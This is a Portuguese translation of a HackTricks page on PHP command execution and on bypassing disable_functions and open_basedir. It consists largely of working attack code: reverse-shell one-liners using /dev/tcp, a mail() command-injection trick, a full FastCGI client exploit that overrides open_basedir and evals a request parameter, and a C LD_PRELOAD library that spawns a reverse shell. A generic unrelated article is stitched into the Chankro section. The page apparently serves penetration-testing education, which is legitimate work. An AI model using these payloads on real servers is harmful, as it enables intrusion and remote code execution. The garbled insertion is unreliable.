31 KiB
PHP - Funções Úteis & bypass de disable_functions/open_basedir
Aprenda hacking na AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.
Execução de Comandos PHP & Código
Execução de Comandos PHP
Nota: Um webshell php p0wny-shell pode automaticamente verificar e contornar as seguintes funções se alguma delas estiver desativada.
exec - Retorna a última linha da saída dos comandos
echo exec("uname -a");
passthru - Passa a saída dos comandos diretamente para o navegador
echo passthru("uname -a");
sistema - Passa a saída dos comandos diretamente para o navegador e retorna a última linha
echo system("uname -a");
shell_exec - Retorna a saída dos comandos
echo shell_exec("uname -a");
`` (backticks) - Igual a shell_exec()
echo `uname -a`
popen - Abre um pipe de leitura ou escrita para o processo de um comando
echo fread(popen("/bin/ls /", "r"), 4096);
proc_open - Semelhante ao popen() mas com maior grau de controle
proc_close(proc_open("uname -a",array(),$something));
preg_replace
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
pcntl_exec - Executa um programa (por padrão, em PHP moderno e não tão moderno, você precisa carregar o módulo pcntl.so
para usar esta função)
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
mail / mb_send_mail - Esta função é usada para enviar e-mails, mas também pode ser abusada para injetar comandos arbitrários dentro do parâmetro $options
. Isso ocorre porque a função mail
do php geralmente chama o binário sendmail
dentro do sistema e permite que você coloque opções extras. No entanto, você não poderá ver a saída do comando executado, portanto, é recomendável criar um script shell que escreva a saída em um arquivo, execute-o usando o mail e imprima a saída:
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
dl - Esta função pode ser usada para carregar dinamicamente uma extensão PHP. Esta função nem sempre estará presente, portanto, você deve verificar se ela está disponível antes de tentar explorá-la. Leia esta página para aprender como explorar esta função.
Execução de Código PHP
Além do eval, existem outras maneiras de executar código PHP: include/require podem ser usados para execução de código remoto na forma de vulnerabilidades de Inclusão de Arquivo Local e Inclusão de Arquivo Remoto.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
assert() // identical to eval()
preg_replace('/.*/e',...) // e does an eval() on the match
create_function() // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());
// or serialize/unserialize function
disable_functions & open_basedir
Funções desabilitadas é a configuração que pode ser feita nos arquivos .ini
no PHP que proibirá o uso das funções indicadas. Open basedir é a configuração que indica ao PHP a pasta que ele pode acessar.
A configuração do PHP costuma ser feita no caminho /etc/php7/conf.d ou similar.
Ambas as configurações podem ser vistas na saída do phpinfo()
:
open_basedir Bypass
open_basedir
irá configurar as pastas que o PHP pode acessar, você não será capaz de escrever/ler/executar nenhum arquivo fora dessas pastas, mas também não será capaz de listar outros diretórios.
No entanto, se de alguma forma você conseguir executar código PHP arbitrário, você pode tentar o seguinte trecho de códigos para tentar burlar a restrição.
Listando diretórios com bypass glob://
Neste primeiro exemplo, o protocolo glob://
com algum bypass de caminho é usado:
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
Nota1: No caminho, também podes usar /e??/*
para listar /etc/*
e qualquer outra pasta.
Nota2: Parece que parte do código está duplicada, mas na verdade é necessário!
Nota3: Este exemplo é apenas útil para listar pastas e não para ler ficheiros
Bypass completo do open_basedir abusando do FastCGI
Se quiseres saber mais sobre o PHP-FPM e FastCGI podes ler a primeira secção desta página.
Se o php-fpm
estiver configurado, podes abusar dele para contornar completamente o open_basedir:
Nota que a primeira coisa que precisas de fazer é encontrar onde está o socket unix do php-fpm. Costuma estar em /var/run
, por isso podes usar o código anterior para listar o diretório e encontrá-lo.
Código retirado daqui.
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
Este script irá comunicar com o socket unix do php-fpm (geralmente localizado em /var/run se o fpm for usado) para executar código arbitrário. As configurações open_basedir
serão sobrescritas pelo atributo PHP_VALUE que é enviado.
Observe como eval
é usado para executar o código PHP que você envia dentro do parâmetro cmd.
Também observe a linha 324 comentada, você pode descomentá-la e o payload se conectará automaticamente ao URL fornecido e executará o código PHP contido lá.
Acesse http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');
para obter o conteúdo do arquivo /etc/passwd
.
{% hint style="warning" %}
Você pode estar pensando que da mesma forma que sobrescrevemos a configuração open_basedir
, podemos sobrescrever disable_functions
. Bem, tente, mas não funcionará, aparentemente disable_functions
só pode ser configurado em um arquivo de configuração .ini
do php e as alterações que você fizer usando PHP_VALUE não serão eficazes nessa configuração específica.
{% endhint %}
Desvio de disable_functions
Se você conseguir executar código PHP dentro de uma máquina, provavelmente desejará ir para o próximo nível e executar comandos do sistema arbitrários. Nessa situação, é comum descobrir que a maioria ou todas as funções PHP que permitem executar comandos do sistema foram desativadas em disable_functions
.
Portanto, veja como você pode contornar essa restrição (se puder)
Descoberta automática de desvio
Você pode usar a ferramenta https://github.com/teambi0s/dfunc-bypasser e ela indicará qual função (se houver) você pode usar para burlar disable_functions
.
Bypass usando outras funções do sistema
Volte ao início desta página e verifique se alguma das funções de execução de comandos não está desativada e disponível no ambiente. Se encontrar pelo menos uma delas, poderá usá-la para executar comandos do sistema arbitrários.
Desvio LD_PRELOAD
É bem conhecido que algumas funções em PHP como mail()
vão executar binários dentro do sistema. Portanto, você pode abusar delas usando a variável de ambiente LD_PRELOAD
para fazer com que carreguem uma biblioteca arbitrária que pode executar qualquer coisa.
Funções que podem ser usadas para burlar disable_functions
com LD_PRELOAD
mail
mb_send_mail
: Efetivo quando o módulophp-mbstring
está instalado.imap_mail
: Funciona se o módulophp-imap
estiver presente.libvirt_connect
: Requer o módulophp-libvirt-php
.gnupg_init
: Utilizável com o módulophp-gnupg
instalado.new imagick()
: Esta classe pode ser abusada para contornar restrições. Técnicas detalhadas de exploração podem ser encontradas em um artigo abrangente aqui.
Você pode encontrar aqui o script de fuzzing que foi usado para encontrar essas funções.
Aqui está uma biblioteca que você pode compilar para abusar da variável de ambiente LD_PRELOAD
:
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}
Bypass usando Chankro
Para abusar dessa má configuração, você pode usar Chankro. Esta é uma ferramenta que irá gerar um exploit PHP que você precisa fazer upload para o servidor vulnerável e executá-lo (acessando via web).
Chankro irá escrever no disco da vítima a biblioteca e o shell reverso que você deseja executar e usará o truque**LD_PRELOAD
+ função PHP mail()
** para executar o shell reverso.
Observe que para usar o Chankro, mail
e putenv
não podem aparecer na lista de disable_functions
.
No exemplo a seguir, você pode ver como criar um exploit chankro para arquitetura 64 bits, que irá executar whoami
e salvar a saída em /tmp/chankro_shell.out, o chankro irá escrever a biblioteca e o payload em /tmp e o exploit final será chamado de bicho.php (esse é o arquivo que você precisa fazer upload para o servidor da vítima):
{% tabs %} {% tab title="shell.sh" %}
#!/bin/sh
whoami > /tmp/chankro_shell.out
{% endtab %}
{% tab title = "Chankro" %}
Funções Úteis do PHP - Desabilitar Funções (disable_functions
) e Bypass do open_basedir
Neste artigo, vamos discutir algumas técnicas úteis em PHP para contornar restrições de segurança, como desabilitar funções específicas usando a diretiva disable_functions
no php.ini
e contornar as restrições do open_basedir
.
Desabilitar Funções
Ao desabilitar funções específicas no PHP usando a diretiva disable_functions
no arquivo de configuração php.ini
, os desenvolvedores podem restringir o uso de funções potencialmente perigosas. No entanto, os invasores podem contornar essa restrição usando técnicas como a execução de comandos do sistema operacional por meio de funções alternativas.
Bypass do open_basedir
O open_basedir
é uma diretiva de segurança no PHP que restringe quais diretórios um script PHP pode acessar. No entanto, os invasores podem contornar essa restrição explorando vulnerabilidades no código ou no servidor para acessar diretórios não autorizados.
Ao entender essas técnicas, os testadores de segurança podem identificar e corrigir vulnerabilidades em aplicações PHP, garantindo uma maior segurança e proteção contra possíveis ataques.
{% endtab %}
python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
{% endtab %} {% endtabs %}
Se encontrar que a função mail está bloqueada pelas funções desativadas, ainda pode ser possível usar a função mb_send_mail.
Mais informações sobre essa técnica e Chankro aqui: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
"Bypass" usando as capacidades do PHP
Observe que usando o PHP é possível ler e escrever arquivos, criar diretórios e alterar permissões.
É até possível dump databases.
Talvez usando o PHP para enumerar o sistema, você possa encontrar uma maneira de escalar privilégios/executar comandos (por exemplo, lendo alguma chave ssh privada).
Criei um webshell que facilita muito a realização dessas ações (observe que a maioria dos webshells também oferecerá essas opções): https://github.com/carlospolop/phpwebshelllimited
Bypasses dependentes de módulos/versões
Existem várias maneiras de contornar as disable_functions se algum módulo específico estiver sendo usado ou explorar alguma versão específica do PHP:
- FastCGI/PHP-FPM (Gerenciador de Processos FastCGI)
- Bypass com FFI - Interface de Função Estrangeira ativada
- Bypass via mem
- mod_cgi
- Extensão Perl Safe_mode do PHP
- Função dl
- Este exploit
- 5.* - explorável com pequenas alterações no PoC
- 7.0 - todas as versões até o momento
- 7.1 - todas as versões até o momento
- 7.2 - todas as versões até o momento
- 7.3 - todas as versões até o momento
- 7.4 - todas as versões até o momento
- 8.0 - todas as versões até o momento
- De 7.0 a 8.0 exploit (apenas Unix)
- PHP 7.0=7.4 (*nix)
- Imagick 3.3.0 PHP >= 5.4
- Shellsock do PHP 5.x
- ionCube do PHP 5.2.4
- <= 5.2.9 do PHP no Windows
- cURL do PHP 5.2.4/5.2.5
- Win32std do PHP 5.2.3
- Exploit FOpen do PHP 5.2
- pcntl_exec do PHP 4 >= 4.2.-, PHP 5
Ferramenta Automática
O script a seguir tenta alguns dos métodos comentados aqui:
https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php
Outras funções interessantes do PHP
Lista de funções que aceitam callbacks
Essas funções aceitam um parâmetro de string que poderia ser usado para chamar uma função da escolha do atacante. Dependendo da função, o atacante pode ou não ter a capacidade de passar um parâmetro. Nesse caso, uma função de Divulgação de Informações como phpinfo() poderia ser usada.
Listas a seguir a partir daqui
// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,
Divulgação de Informações
A maioria dessas chamadas de função não são pontos de injeção. Mas pode ser uma vulnerabilidade se algum dos dados retornados for visível para um atacante. Se um atacante puder ver o phpinfo(), é definitivamente uma vulnerabilidade.
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
Outro
extract // Opens the door for register_globals attacks (see study in scarlet).
parse_str // works like extract if only one argument is given.
putenv
ini_set
mail // has CRLF injection in the 3rd parameter, opens the door for spam.
header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid
Funções do Sistema de Arquivos
De acordo com o RATS, todas as funções do sistema de arquivos em php são perigosas. Algumas delas não parecem ser muito úteis para o atacante. Outras são mais úteis do que você imagina. Por exemplo, se allow_url_fopen=On, então uma URL pode ser usada como um caminho de arquivo, então uma chamada para copy($_GET['s'], $_GET['d']); pode ser usada para fazer upload de um script PHP em qualquer lugar do sistema. Além disso, se um site for vulnerável a uma solicitação enviada via GET, todas essas funções do sistema de arquivos podem ser abusadas para canalizar um ataque para outro host através do seu servidor.
Manipulador de sistema de arquivos aberto
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
Escrever no sistema de arquivos (parcialmente em combinação com a leitura)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng // 2nd parameter is a path.
imagewbmp // 2nd parameter is a path.
image2wbmp // 2nd parameter is a path.
imagejpeg // 2nd parameter is a path.
imagexbm // 2nd parameter is a path.
imagegif // 2nd parameter is a path.
imagegd // 2nd parameter is a path.
imagegd2 // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir
Ler do sistema de arquivos
file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.